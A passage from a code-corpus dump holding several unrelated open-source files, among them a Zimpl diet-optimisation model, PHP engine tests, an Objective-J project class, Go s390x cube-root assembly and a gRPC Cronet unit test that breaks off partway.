|1 |17.937, 8.996, 11.126, 83.464, 1809.722, 1, -0.664|
#|2 |21.046, 11.311, 12.416, 92.344, 1951.971, 1, -0.480|
#|3 |21.205, 12.463, 12.840, 94.670, 1952.242, 1, -0.302|
#|4 |20.440, 12.934, 13.055, 95.335, 1901.638, 1, -0.117|
#|5 |19.317, 13.136, 13.079, 94.742, 1841.836, 1, 0.022|
#|6 |18.033, 13.202, 12.907, 93.018, 1823.985, 1, 0.087|
#|7 |16.644, 13.199, 12.710, 91.066, 1778.238, 1, 0.155|
#|8 |15.317, 13.169, 12.554, 89.436, 1739.088, 1, 0.220|
#|9 |13.986, 13.136, 12.444, 88.142, 1706.697, 1, 0.288|
|10|12.769, 13.113, 12.403, 87.411, 1686.068, 1, 0.353|
#|11|11.584, 13.098, 12.449, 87.357, 1678.325, 1, 0.421|
#|12|10.523, 13.080, 12.607, 88.211, 1686.771, 1, 0.486|
#|13| 9.542, 13.015, 12.915, 90.288, 1713.494, 1, 0.551|
#|14|25.470, 13.172, 14.313, 107.214, 2404.585, 2, -0.738|
|15|26.947, 15.410, 15.430, 113.981, 2397.340, 2, -0.378|
#|16|24.422, 15.716, 15.502, 112.664, 2222.772, 2, -0.008|
#|17|21.117, 15.537, 14.497, 104.799, 2077.020, 2, 0.061|
#|18|17.926, 15.211, 13.554, 97.402, 1926.440, 2, 0.122|
#|19|14.951, 14.867, 12.755, 91.085, 1798.388, 2, 0.184|
|20|12.357, 14.565, 12.178, 86.478, 1705.218, 2, 0.247|
#|21|10.199, 14.309, 11.886, 84.112, 1654.877, 2, 0.308|
#|22| 8.337, 13.961, 11.971, 84.764, 1652.150, 2, 0.371|
#|23|21.538, 12.448, 13.511, 101.184, 2352.955, 3, -0.837|
#|24|27.999, 14.533, 15.753, 117.499, 2622.384, 3, -0.700|
|25|29.889, 15.772, 16.511, 122.648, 2675.932, 3, -0.562|
#|26|30.096, 16.552, 16.779, 124.070, 2656.110, 3, -0.425|
#|27|29.509, 16.836, 16.823, 123.805, 2599.545, 3, -0.297|
#|28|28.415, 16.926, 16.757, 122.653, 2519.604, 3, -0.159|
#|29|27.049, 16.902, 16.637, 121.067, 2429.596, 3, -0.022|
|30|25.538, 16.806, 16.174, 117.404, 2340.522, 3, 0.017|
#|31|23.965, 16.656, 15.676, 113.612, 2282.881, 3, 0.039|
#|32|22.382, 16.474, 15.160, 109.650, 2199.742, 3, 0.060|
#|33|20.825, 16.278, 14.664, 105.835, 2119.750, 3, 0.081|
#|34|19.408, 16.089, 14.223, 102.442, 2048.671, 3, 0.101|
|35|17.959, 15.891, 13.784, 99.057, 1977.851, 3, 0.122|
#|36|16.581, 15.699, 13.381, 95.946, 1912.848, 3, 0.144|
#|37|15.280, 15.516, 13.018, 93.137, 1854.213, 3, 0.165|
#|38|14.058, 15.344, 12.697, 90.657, 1802.433, 3, 0.186|
#|39|12.916, 15.183, 12.422, 88.537, 1757.967, 3, 0.208|
|40|11.852, 15.029, 12.198, 86.815, 1721.275, 3, 0.229|
;
set Forages := { <f> in Feeds with feed_data[f, "GSR"] == 0 };
set Concentrates := { <f> in Feeds with feed_data[f, "GSR"] > 0 };
do print Forages;
do print Concentrates;
var surplus[Cows * Nutrients] real;
var deficit[Cows * Nutrients] real;
var intake_kg[Feeds] real;
var intake_extra_conc_kg[Cows * Concentrates] real;
var intake_conc_total[Cows] real;
var intake_scale[Cows] real;
subto fix_scale: intake_scale[20] == 1;
var gsr[Cows] real;
var ffvs real;
var fufl real;
var fkgs real;
var def real;
var e_def real;
var gsr_plpot[Cows] real;
var gsr_zero[Cows] real;
defnumb d(c) := if (cow_data[c, "parity"] > 1) then 1.10 else 0.96 end;
maximize satisfaction: sum <c,n> in Cows * Nutrients:
if (n == "NEL") then
-1 * energy_weight * (surplus[c,n] + deficit[c,n])
else
-1 * (surplus[c,n] + deficit[c,n])
end;
subto need: forall <c,n> in Cows * Nutrients do
intake_scale[c] * sum <f> in Feeds: feed_data[f,n] / cow_data[c,n] * intake_kg[f] +
sum <k> in Concentrates: feed_data[k,n] / cow_data[c,n] * intake_extra_conc_kg[c, k]
== 1 + surplus[c,n] - deficit[c,n];
subto intake: forall <c> in Cows do
intake_scale[c] *
sum <f> in Feeds:
if (feed_data[f, "GSR"] == 0) then
feed_data[f, "FV"] * intake_kg[f] * fkgs
else
gsr[c] * intake_kg[f] * ffvs +
gsr[c] * intake_extra_conc_kg[c, f] * ffvs
end <= cow_data[c,"IC"] * fkgs;
subto rnb: forall <c> in Cows do
0 <= sum <f> in Feeds: feed_data[f, "RNB"] * intake_scale[c] * intake_kg[f] + sum <k> in Concentrates: feed_data[k, "RNB"] * intake_extra_conc_kg[c, k] <= 50;
subto conc_max: forall <c> in Cows do
sum <f> in Feeds:
if (feed_data[f, "GSR"] > 0) then
(1 - cc_intake_max) / cc_intake_max * intake_scale[c] * intake_kg[f] + (1 - cc_intake_max) / cc_intake_max * intake_extra_conc_kg[c, f]
else
- intake_scale[c] * intake_kg[f] end <= 0;
subto forage_fvs: sum <fr> in Forages: feed_data[fr, "FV"] * intake_kg[fr] - ffvs == 0;
subto forage_ufl: sum <fr> in Forages: feed_data[fr, "UFL"] * intake_kg[fr] - fufl == 0;
subto forage_kgs: sum <fr> in Forages: intake_kg[fr] - fkgs == 0;
subto forage_def: fufl - ffvs * def == 0;
subto conc_intake: forall <c> in Cows do
sum <k> in Concentrates: intake_scale[c] * intake_kg[k] +
sum <k> in Concentrates: intake_extra_conc_kg[c, k] - intake_conc_total[c] == 0;
subto gsr: forall <c> in Cows do
if (cow_data[c, "BWC"] < 0) then
-0.43 + 1.82 * gsr_zero[c] + 0.035 * intake_conc_total[c] - 0.00053 * cow_data[c, "PLPOT"] * intake_conc_total[c]
else
gsr_zero[c]
end == gsr[c];
subto def: exp(1.32 * def) == e_def;
# ZIMPL does only accept integer exponents: PLPOT^-0.62 -> exp(-0.62*ln(PLPOT))
subto plpot: forall <c> in Cows do exp(-0.62*ln(cow_data[c, "PLPOT"])) == gsr_plpot[c];
subto gsr_zero: forall <c> in Cows do d(c) * gsr_plpot[c] * e_def == gsr_zero[c];
| Zimpl | 4 | jvail/diet | pmr_nlp_one_group.zpl | [
"MIT"
] |
--TEST--
JIT ASSIGN: Undef var notice promoted to exception
--INI--
opcache.enable=1
opcache.enable_cli=1
opcache.file_update_protection=0
opcache.jit_buffer_size=1M
opcache.protect_memory=1
--FILE--
<?php
set_error_handler(function($_, $m) {
throw new Exception($m);
});
try {
$a = $b;
NOT_REACHED;
} catch (Exception $e) {
echo $e->getMessage(), "\n";
}
?>
--EXPECT--
Undefined variable $b
| PHP | 4 | NathanFreeman/php-src | ext/opcache/tests/jit/assign_043.phpt | [
"PHP-3.01"
] |
--TEST--
Bug #77494 (Disabling class causes segfault on member access)
--EXTENSIONS--
curl
--INI--
disable_classes=CURLFile,ErrorException
--FILE--
<?php
$a = new CURLFile();
var_dump($a->name);
$b = new ErrorException();
var_dump($b->message);
?>
--EXPECTF--
Warning: CURLFile() has been disabled for security reasons in %sbug77494.php on line 2
Warning: Undefined property: CURLFile::$name in %s on line %d
NULL
Warning: ErrorException() has been disabled for security reasons in %s on line %d
Warning: Undefined property: ErrorException::$message in %s on line %d
NULL
| PHP | 3 | NathanFreeman/php-src | Zend/tests/bug77494.phpt | [
"PHP-3.01"
] |
#%RAML 1.0 Trait
description: |
Projection allows to limit number of fields in the response to the ones defined in the query parameter.
queryParameters:
projection?:
type: string
description: |
A projected values to return to the client.
Data from this field will be used to produce projected data in the response. By default all entity data will be included into a request. If the value of this property has been set this fields will be used in the response instead.
The endpoint will result with error if the fields definition do not match table definition.
A special token "nextPageToken" is available to the request. If not present in the projection it will not be available in the response.
example: name,url,har(pages,entries),nextPageToken
| RAML | 4 | Acidburn0zzz/ChromeRestClient | Server API/traits/projected.raml | [
"Apache-2.0"
] |
import Distribution.Simple
main = defaultMain
| Haskell | 2 | avieth/bytehash | Setup.hs | [
"BSD-3-Clause"
] |
stroke 4
for i:0 to 15 step 1
scale map(wave(1000), 0,1,1.05,1.4)
rotate wave(10000)*90, 0,1,0
box
end
| Cycript | 3 | marcinbiegun/creativecoding-sketches | Cyril/data/code_retro/3.cy | [
"MIT"
] |
<!--- Access Denied--->
| ColdFusion | 0 | fintecheando/RoomBooking | views/sessions/denied.cfm | [
"Apache-1.1"
] |
@import <Foundation/Foundation.j>
@import "CSGProgram.j"
@import "CSGBackend.j"
@import "CSGScriptViewer.j"
@import "CSGAppUIViewer.j"
@import "CSGEventListener.j"
@implementation CSGProject : CPObject <CPCoding>
{
CSGProgram program @accessors();
CPString name @accessors();
CPString appID @accessors();
BOOL isUntitled @accessors();
BOOL showUIView @accessors();
CSGAppUIViewer appUIViewer;
CSGEventListener eventListener;
JSObject uiDefinitions @accessors();
CPTimer uiTimer;
}
- (id)initWithName:(CPString)projectName
{
if (self = [super init]) {
name = projectName;
program = [[CSGProgram alloc] init];
appID = nil;
isUntitled = YES;
uiDefinitions = {};
[self setShowUIView:YES];
}
return self;
}
//
// Implement CPCoding protocol for serialization
//
- (id)initWithCoder:(CPCoder)coder
{
self = [super initWithName:"_DUMMY_"];
if (self) {
program = [coder decodeObjectForKey:@"program"];
name = [coder decodeObjectForKey:@"name"];
isUntitled = [coder decodeBoolForKey:@"isUntitled"];
appID = nil;
}
return self;
}
- (void)encodeWithCoder:(CPCoder)coder
{
[coder encodeObject:program forKey:@"program"];
[coder encodeObject:name forKey:@"name"];
[coder encodeBool:isUntitled forKey:@"isUntitled"];
}
- (void)setErrors:(id)errors andWarnings:(id)warnings
{
errors.forEach(function(error, i, list){
list[i] = (i+1) + " : " + error.reason;
});
warnings.forEach(function(warning, i, list){
list[i] = (i+1) + " : " + warning.reason;
});
var errorViewer = [[CSGScriptViewer alloc] init];
var errorText = [errors componentsJoinedByString: "\n"];
var warningText = [warnings componentsJoinedByString: "\n"];
var text = [["Errors:", errorText, "", "Warnings:", warningText] componentsJoinedByString: "\n"];
[errorViewer setTitle:"Errors and Warnings"];
[errorViewer setScript:text];
[errorViewer setReleasedWhenClosed:YES];
}
- (BOOL)isRunning
{
return (appID !== nil);
}
- (void)run
{
if ([self isRunning]) {
return;
}
var backend = [CSGBackend sharedBackend];
var script = [program scriptRepresentation];
[backend deployScript:script withName:name responseBlock:function(response){
var app_id = response.application_id;
if (app_id === undefined) {
[self setErrors:response.errors andWarnings:response.warnings];
} else {
[backend infoForAppID:app_id usingBlock:function(info){
[self setRuntimeInfo:info];
[self setAppID:app_id]; // Do this AFTER updating info since it triggers view updates
[self startUI];
}];
}
}];
}
- (void)stop
{
if (![self isRunning]) {
return;
}
var backend = [CSGBackend sharedBackend];
[backend stopAppWithID:appID responseBlock:function(){
[self stopUI];
[[program actors] setValue:nil forKey:@"identifier"];
[[program actors] setValue:nil forKey:@"nodeName"];
[self setAppID:nil]; // Do this AFTER updating info since it triggers view updates
}];
}
- (void)startUI
{
var backend = [CSGBackend sharedBackend];
[backend getUIDefinitions:appID responseBlock:function(defs){
uiDefinitions = defs;
if (uiDefinitions && [self hasUIActors]) {
appUIViewer = [[CSGAppUIViewer alloc] initWithProject:self];
[self addUIEventListener];
[self showUI];
}
}];
}
- (void)addUIEventListener
{
var HAS_NGINX_REWRITE = NO;
var host = [[CSGHostConfig sharedHostConfig] calvinHost];
var containerID = [[CSGHostConfig sharedHostConfig] containerID];
var url = "";
if (containerID !== "") {
if (HAS_NGINX_REWRITE) {
url = "http://" + host + ":7777/" + containerID + "/client_id/" + appID;
} else {
// FIXME: Temporary while debugging without nginx rewrite
url = "http://" + host + ":5000/event_stream/" + containerID + "/client_id/" + appID;
}
} else {
url = "http://" + host + ":7777/client_id/" + appID;
}
console.log("Adding eventlistener:", url);
eventListener = [[CSGEventListener alloc] initWithURL:url eventType:"message" dataFormat:CSGJSONStringDataFormat];
[eventListener setDelegate:appUIViewer];
[eventListener startListening];
}
- (void)stopUI
{
[self hideUI];
[eventListener stopListening];
[appUIViewer close];
uiDefinitions = {};
appUIViewer = nil;
}
- (BOOL)hasUIActors
{
return [self uiActors].length > 0;
}
- (CPArray)uiActors
{
var ui_actors = [];
var actors = [program actors];
for (var i=0; i<actors.length; i++) {
var actor = actors[i];
if (uiDefinitions[actor.type]) {
ui_actors.push(actor);
}
}
return ui_actors;
}
- (void)startUITimer
{
if (!uiTimer || ![uiTimer isValid]) {
uiTimer = [CPTimer scheduledTimerWithTimeInterval:1 callback:function() {[self updateUIVisibility];} repeats:YES];
}
}
- (void)stopUITimer
{
if (uiTimer && [uiTimer isValid]) {
[uiTimer invalidate];
}
}
- (void)updateUIVisibility
{
[[CSGBackend sharedBackend] actorsOnUIRuntime:function(list){
// Propagate the list of actors present on this runtime down the line.
[appUIViewer updateVisibility:list];
}];
}
- (void)setRuntimeInfo:(JSObject)rti
{
if (!rti) {
return;
}
var actor_ids = rti.actors;
var namespace = rti.ns;
var name_map = [CPDictionary dictionaryWithJSObject:rti.actors_name_map];
var actors = [program actors];
for (var i=0; i<actors.length; i++) {
var actor = actors[i];
var qualified_name = namespace + ":" + actor.name;
var id = [name_map allKeysForObject:qualified_name][0];
[actor setIdentifier:id];
}
}
- (void)setShowUIView:(BOOL)flag
{
if (flag === showUIView) {
return;
}
showUIView = flag;
if (showUIView) {
[self showUI];
} else {
[self hideUI];
}
}
- (void)showUI
{
if (appUIViewer && showUIView) {
[self startUITimer];
[appUIViewer showWindow:self];
}
}
- (void)hideUI
{
if (appUIViewer) {
[[appUIViewer window] orderOut:self];
[self stopUITimer];
}
}
// Switching to this project
- (void)activate
{
[self showUI];
}
// Switching to another project
- (void)deactivate
{
[self hideUI];
}
@end | Jasmin | 3 | gabrielcercel/calvin-base | calvinextras/CalvinGUI/CSGProject.j | [
"Apache-2.0"
] |
// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
#include "textflag.h"
// Minimax polynomial coefficients and other constants
DATA ·cbrtrodataL9<> + 0(SB)/8, $-.00016272731015974436E+00
DATA ·cbrtrodataL9<> + 8(SB)/8, $0.66639548758285293179E+00
DATA ·cbrtrodataL9<> + 16(SB)/8, $0.55519402697349815993E+00
DATA ·cbrtrodataL9<> + 24(SB)/8, $0.49338566048766782004E+00
DATA ·cbrtrodataL9<> + 32(SB)/8, $0.45208160036325611486E+00
DATA ·cbrtrodataL9<> + 40(SB)/8, $0.43099892837778637816E+00
DATA ·cbrtrodataL9<> + 48(SB)/8, $1.000244140625
DATA ·cbrtrodataL9<> + 56(SB)/8, $0.33333333333333333333E+00
DATA ·cbrtrodataL9<> + 64(SB)/8, $79228162514264337593543950336.
GLOBL ·cbrtrodataL9<> + 0(SB), RODATA, $72
// Index tables
DATA ·cbrttab32069<> + 0(SB)/8, $0x404030303020202
DATA ·cbrttab32069<> + 8(SB)/8, $0x101010101000000
DATA ·cbrttab32069<> + 16(SB)/8, $0x808070706060605
DATA ·cbrttab32069<> + 24(SB)/8, $0x505040404040303
DATA ·cbrttab32069<> + 32(SB)/8, $0xe0d0c0c0b0b0b0a
DATA ·cbrttab32069<> + 40(SB)/8, $0xa09090908080808
DATA ·cbrttab32069<> + 48(SB)/8, $0x11111010100f0f0f
DATA ·cbrttab32069<> + 56(SB)/8, $0xe0e0e0e0e0d0d0d
DATA ·cbrttab32069<> + 64(SB)/8, $0x1515141413131312
DATA ·cbrttab32069<> + 72(SB)/8, $0x1212111111111010
GLOBL ·cbrttab32069<> + 0(SB), RODATA, $80
DATA ·cbrttab22068<> + 0(SB)/8, $0x151015001420141
DATA ·cbrttab22068<> + 8(SB)/8, $0x140013201310130
DATA ·cbrttab22068<> + 16(SB)/8, $0x122012101200112
DATA ·cbrttab22068<> + 24(SB)/8, $0x111011001020101
DATA ·cbrttab22068<> + 32(SB)/8, $0x10000f200f100f0
DATA ·cbrttab22068<> + 40(SB)/8, $0xe200e100e000d2
DATA ·cbrttab22068<> + 48(SB)/8, $0xd100d000c200c1
DATA ·cbrttab22068<> + 56(SB)/8, $0xc000b200b100b0
DATA ·cbrttab22068<> + 64(SB)/8, $0xa200a100a00092
DATA ·cbrttab22068<> + 72(SB)/8, $0x91009000820081
DATA ·cbrttab22068<> + 80(SB)/8, $0x80007200710070
DATA ·cbrttab22068<> + 88(SB)/8, $0x62006100600052
DATA ·cbrttab22068<> + 96(SB)/8, $0x51005000420041
DATA ·cbrttab22068<> + 104(SB)/8, $0x40003200310030
DATA ·cbrttab22068<> + 112(SB)/8, $0x22002100200012
DATA ·cbrttab22068<> + 120(SB)/8, $0x11001000020001
GLOBL ·cbrttab22068<> + 0(SB), RODATA, $128
DATA ·cbrttab12067<> + 0(SB)/8, $0x53e1529051324fe1
DATA ·cbrttab12067<> + 8(SB)/8, $0x4e904d324be14a90
DATA ·cbrttab12067<> + 16(SB)/8, $0x493247e146904532
DATA ·cbrttab12067<> + 24(SB)/8, $0x43e1429041323fe1
DATA ·cbrttab12067<> + 32(SB)/8, $0x3e903d323be13a90
DATA ·cbrttab12067<> + 40(SB)/8, $0x393237e136903532
DATA ·cbrttab12067<> + 48(SB)/8, $0x33e1329031322fe1
DATA ·cbrttab12067<> + 56(SB)/8, $0x2e902d322be12a90
DATA ·cbrttab12067<> + 64(SB)/8, $0xd3e1d290d132cfe1
DATA ·cbrttab12067<> + 72(SB)/8, $0xce90cd32cbe1ca90
DATA ·cbrttab12067<> + 80(SB)/8, $0xc932c7e1c690c532
DATA ·cbrttab12067<> + 88(SB)/8, $0xc3e1c290c132bfe1
DATA ·cbrttab12067<> + 96(SB)/8, $0xbe90bd32bbe1ba90
DATA ·cbrttab12067<> + 104(SB)/8, $0xb932b7e1b690b532
DATA ·cbrttab12067<> + 112(SB)/8, $0xb3e1b290b132afe1
DATA ·cbrttab12067<> + 120(SB)/8, $0xae90ad32abe1aa90
GLOBL ·cbrttab12067<> + 0(SB), RODATA, $128
// Cbrt returns the cube root of the argument.
//
// Special cases are:
// Cbrt(±0) = ±0
// Cbrt(±Inf) = ±Inf
// Cbrt(NaN) = NaN
// The algorithm used is minimax polynomial approximation
// with coefficients determined with a Remez exchange algorithm.
TEXT ·cbrtAsm(SB), NOSPLIT, $0-16
FMOVD x+0(FP), F0
MOVD $·cbrtrodataL9<>+0(SB), R9
LGDR F0, R2
WORD $0xC039000F //iilf %r3,1048575
BYTE $0xFF
BYTE $0xFF
SRAD $32, R2
WORD $0xB9170012 //llgtr %r1,%r2
MOVW R1, R6
MOVW R3, R7
CMPBLE R6, R7, L2
WORD $0xC0397FEF //iilf %r3,2146435071
BYTE $0xFF
BYTE $0xFF
MOVW R3, R7
CMPBLE R6, R7, L8
L1:
FMOVD F0, ret+8(FP)
RET
L3:
L2:
LTDBR F0, F0
BEQ L1
FMOVD F0, F2
WORD $0xED209040 //mdb %f2,.L10-.L9(%r9)
BYTE $0x00
BYTE $0x1C
MOVH $0x200, R4
LGDR F2, R2
SRAD $32, R2
L4:
RISBGZ $57, $62, $39, R2, R3
MOVD $·cbrttab12067<>+0(SB), R1
WORD $0x48131000 //lh %r1,0(%r3,%r1)
RISBGZ $57, $62, $45, R2, R3
MOVD $·cbrttab22068<>+0(SB), R5
RISBGNZ $60, $63, $48, R2, R2
WORD $0x4A135000 //ah %r1,0(%r3,%r5)
BYTE $0x18 //lr %r3,%r1
BYTE $0x31
MOVD $·cbrttab32069<>+0(SB), R1
FMOVD 56(R9), F1
FMOVD 48(R9), F5
WORD $0xEC23393B //rosbg %r2,%r3,57,59,4
BYTE $0x04
BYTE $0x56
WORD $0xE3121000 //llc %r1,0(%r2,%r1)
BYTE $0x00
BYTE $0x94
ADDW R3, R1
ADDW R4, R1
SLW $16, R1, R1
SLD $32, R1, R1
LDGR R1, F2
WFMDB V2, V2, V4
WFMDB V4, V0, V6
WFMSDB V4, V6, V2, V4
FMOVD 40(R9), F6
FMSUB F1, F4, F2
FMOVD 32(R9), F4
WFMDB V2, V2, V3
FMOVD 24(R9), F1
FMUL F3, F0
FMOVD 16(R9), F3
WFMADB V2, V0, V5, V2
FMOVD 8(R9), F5
FMADD F6, F2, F4
WFMADB V2, V1, V3, V1
WFMDB V2, V2, V6
FMOVD 0(R9), F3
WFMADB V4, V6, V1, V4
WFMADB V2, V5, V3, V2
FMADD F4, F6, F2
FMADD F2, F0, F0
FMOVD F0, ret+8(FP)
RET
L8:
MOVH $0x0, R4
BR L4
| GAS | 4 | SSSDNSY/go | src/math/cbrt_s390x.s | [
"BSD-3-Clause"
] |
/*
*
* Copyright 2016 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#import <XCTest/XCTest.h>
#import <netinet/in.h>
#import <sys/socket.h>
#import "../ConfigureCronet.h"
#import <Cronet/Cronet.h>
#import <grpc/grpc.h>
#import <grpc/grpc_cronet.h>
#import "test/core/end2end/cq_verifier.h"
#import "test/core/util/port.h"
#import <grpc/support/alloc.h>
#import <grpc/support/log.h>
#import "src/core/lib/channel/channel_args.h"
#import "src/core/lib/gpr/env.h"
#import "src/core/lib/gpr/string.h"
#import "src/core/lib/gpr/tmpfile.h"
#import "src/core/lib/gprpp/host_port.h"
#import "test/core/end2end/data/ssl_test_data.h"
#import "test/core/util/test_config.h"
#import <openssl_grpc/ssl.h>
static void drain_cq(grpc_completion_queue *cq) {
grpc_event ev;
do {
ev = grpc_completion_queue_next(cq, grpc_timeout_seconds_to_deadline(5), NULL);
} while (ev.type != GRPC_QUEUE_SHUTDOWN);
}
@interface CronetUnitTests : XCTestCase
@end
@implementation CronetUnitTests
+ (void)setUp {
[super setUp];
char *argv[] = {(char *)"CoreCronetEnd2EndTests"};
grpc_test_init(1, argv);
grpc_init();
configureCronet(/*enable_netlog=*/false);
init_ssl();
}
+ (void)tearDown {
grpc_shutdown();
cleanup_ssl();
[super tearDown];
}
void init_ssl(void) {
SSL_load_error_strings();
OpenSSL_add_ssl_algorithms();
}
void cleanup_ssl(void) { EVP_cleanup(); }
int alpn_cb(SSL *ssl, const unsigned char **out, unsigned char *outlen, const unsigned char *in,
unsigned int inlen, void *arg) {
// Always select "h2" as the ALPN protocol to be used
*out = (const unsigned char *)"h2";
*outlen = 2;
return SSL_TLSEXT_ERR_OK;
}
void init_ctx(SSL_CTX *ctx) {
// Install server certificate
BIO *pem = BIO_new_mem_buf((void *)test_server1_cert, (int)strlen(test_server1_cert));
X509 *cert = PEM_read_bio_X509_AUX(pem, NULL, NULL, (char *)"");
SSL_CTX_use_certificate(ctx, cert);
X509_free(cert);
BIO_free(pem);
// Install server private key
pem = BIO_new_mem_buf((void *)test_server1_key, (int)strlen(test_server1_key));
EVP_PKEY *key = PEM_read_bio_PrivateKey(pem, NULL, NULL, (char *)"");
SSL_CTX_use_PrivateKey(ctx, key);
EVP_PKEY_free(key);
BIO_free(pem);
// Select cipher suite
SSL_CTX_set_cipher_list(ctx, "ECDHE-RSA-AES128-GCM-SHA256");
// Select ALPN protocol
SSL_CTX_set_alpn_select_cb(ctx, alpn_cb, NULL);
}
unsigned int parse_h2_length(const char *field) {
return ((unsigned int)(unsigned char)(field[0])) * 65536 +
((unsigned int)(unsigned char)(field[1])) * 256 +
((unsigned int)(unsigned char)(field[2]));
}
- (void)testInternalError {
grpc_call *c;
grpc_slice request_payload_slice = grpc_slice_from_copied_string("hello world");
grpc_byte_buffer *request_payload = grpc_raw_byte_buffer_create(&request_payload_slice, 1);
gpr_timespec deadline = grpc_timeout_seconds_to_deadline(5);
grpc_metadata meta_c[2] = {{grpc_slice_from_static_string("key1"),
grpc_slice_from_static_string("val1"),
0,
{{NULL, NULL, NULL, NULL}}},
{grpc_slice_from_static_string("key2"),
grpc_slice_from_static_string("val2"),
0,
{{NULL, NULL, NULL, NULL}}}};
int port = grpc_pick_unused_port_or_die();
std::string addr = grpc_core::JoinHostPort("127.0.0.1", port);
grpc_completion_queue *cq = grpc_completion_queue_create_for_next(NULL);
stream_engine *cronetEngine = [Cronet getGlobalEngine];
grpc_channel *client = grpc_cronet_secure_channel_create(cronetEngine, addr.c_str(), NULL, NULL);
cq_verifier *cqv = cq_verifier_create(cq);
grpc_op ops[6];
grpc_op *op;
grpc_metadata_array initial_metadata_recv;
grpc_metadata_array trailing_metadata_recv;
grpc_metadata_array request_metadata_recv;
grpc_byte_buffer *response_payload_recv = NULL;
grpc_call_details call_details;
grpc_status_code status;
grpc_call_error error;
grpc_slice details;
c = grpc_channel_create_call(client, NULL, GRPC_PROPAGATE_DEFAULTS, cq,
grpc_slice_from_static_string("/foo"), NULL, deadline, NULL);
GPR_ASSERT(c);
grpc_metadata_array_init(&initial_metadata_recv);
grpc_metadata_array_init(&trailing_metadata_recv);
grpc_metadata_array_init(&request_metadata_recv);
grpc_call_details_init(&call_details);
int sl = socket(AF_INET, SOCK_STREAM, 0);
GPR_ASSERT(sl >= 0);
// Make an TCP endpoint to accept the connection
struct sockaddr_in s_addr;
memset(&s_addr, 0, sizeof(s_addr));
s_addr.sin_family = AF_INET;
s_addr.sin_addr.s_addr = htonl(INADDR_ANY);
s_addr.sin_port = htons(port);
GPR_ASSERT(0 == bind(sl, (struct sockaddr *)&s_addr, sizeof(s_addr)));
GPR_ASSERT(0 == listen(sl, 5));
memset(ops, 0, sizeof(ops));
op = ops;
op->op = GRPC_OP_SEND_INITIAL_METADATA;
op->data.send_initial_metadata.count = 2;
op->data.send_initial_metadata.metadata = meta_c;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_SEND_MESSAGE;
op->data.send_message.send_message = request_payload;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_SEND_CLOSE_FROM_CLIENT;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_RECV_INITIAL_METADATA;
op->data.recv_initial_metadata.recv_initial_metadata = &initial_metadata_recv;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_RECV_MESSAGE;
op->data.recv_message.recv_message = &response_payload_recv;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_RECV_STATUS_ON_CLIENT;
op->data.recv_status_on_client.trailing_metadata = &trailing_metadata_recv;
op->data.recv_status_on_client.status = &status;
op->data.recv_status_on_client.status_details = &details;
op->flags = 0;
op->reserved = NULL;
op++;
error = grpc_call_start_batch(c, ops, (size_t)(op - ops), (void *)1, NULL);
GPR_ASSERT(GRPC_CALL_OK == error);
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
int s = accept(sl, NULL, NULL);
GPR_ASSERT(s >= 0);
// Close the connection after 1 second to trigger Cronet's on_failed()
sleep(1);
close(s);
close(sl);
});
CQ_EXPECT_COMPLETION(cqv, (void *)1, 1);
cq_verify(cqv);
GPR_ASSERT(status == GRPC_STATUS_UNAVAILABLE);
grpc_slice_unref(details);
grpc_metadata_array_destroy(&initial_metadata_recv);
grpc_metadata_array_destroy(&trailing_metadata_recv);
grpc_metadata_array_destroy(&request_metadata_recv);
grpc_call_details_destroy(&call_details);
grpc_call_unref(c);
cq_verifier_destroy(cqv);
grpc_byte_buffer_destroy(request_payload);
grpc_byte_buffer_destroy(response_payload_recv);
grpc_channel_destroy(client);
grpc_completion_queue_shutdown(cq);
drain_cq(cq);
grpc_completion_queue_destroy(cq);
}
- (void)packetCoalescing:(BOOL)useCoalescing {
grpc_arg arg;
arg.key = (char *)GRPC_ARG_USE_CRONET_PACKET_COALESCING;
arg.type = GRPC_ARG_INTEGER;
arg.value.integer = useCoalescing ? 1 : 0;
grpc_channel_args *args = grpc_channel_args_copy_and_add(NULL, &arg, 1);
grpc_call *c;
grpc_slice request_payload_slice = grpc_slice_from_copied_string("hello world");
grpc_byte_buffer *request_payload = grpc_raw_byte_buffer_create(&request_payload_slice, 1);
gpr_timespec deadline = grpc_timeout_seconds_to_deadline(5);
grpc_metadata meta_c[2] = {{grpc_slice_from_static_string("key1"),
grpc_slice_from_static_string("val1"),
0,
{{NULL, NULL, NULL, NULL}}},
{grpc_slice_from_static_string("key2"),
grpc_slice_from_static_string("val2"),
0,
{{NULL, NULL, NULL, NULL}}}};
int port = grpc_pick_unused_port_or_die();
std::string addr = grpc_core::JoinHostPort("127.0.0.1", port);
grpc_completion_queue *cq = grpc_completion_queue_create_for_next(NULL);
stream_engine *cronetEngine = [Cronet getGlobalEngine];
grpc_channel *client = grpc_cronet_secure_channel_create(cronetEngine, addr.c_str(), args, NULL);
cq_verifier *cqv = cq_verifier_create(cq);
grpc_op ops[6];
grpc_op *op;
grpc_metadata_array initial_metadata_recv;
grpc_metadata_array trailing_metadata_recv;
grpc_metadata_array request_metadata_recv;
grpc_byte_buffer *response_payload_recv = NULL;
grpc_call_details call_details;
grpc_status_code status;
grpc_call_error error;
grpc_slice details;
c = grpc_channel_create_call(client, NULL, GRPC_PROPAGATE_DEFAULTS, cq,
grpc_slice_from_static_string("/foo"), NULL, deadline, NULL);
GPR_ASSERT(c);
grpc_metadata_array_init(&initial_metadata_recv);
grpc_metadata_array_init(&trailing_metadata_recv);
grpc_metadata_array_init(&request_metadata_recv);
grpc_call_details_init(&call_details);
__weak XCTestExpectation *expectation = [self expectationWithDescription:@"Coalescing"];
int sl = socket(AF_INET, SOCK_STREAM, 0);
GPR_ASSERT(sl >= 0);
struct sockaddr_in s_addr;
memset(&s_addr, 0, sizeof(s_addr));
s_addr.sin_family = AF_INET;
